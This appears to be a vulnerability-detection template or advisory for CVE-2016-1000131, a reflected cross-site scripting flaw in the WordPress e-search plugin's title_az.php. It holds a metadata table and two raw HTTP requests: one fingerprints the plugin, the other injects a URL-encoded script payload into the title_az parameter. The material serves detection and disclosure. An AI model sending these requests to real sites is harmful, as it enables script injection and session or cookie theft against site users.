| Title | WordPress e-search <=1.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02155 |
| CVE ID | CVE-2016-1000131 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin e-search_project vuln |
WordPress e-search 1.0 and before contains a reflected cross-site scripting vulnerability via title_az.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/e-search/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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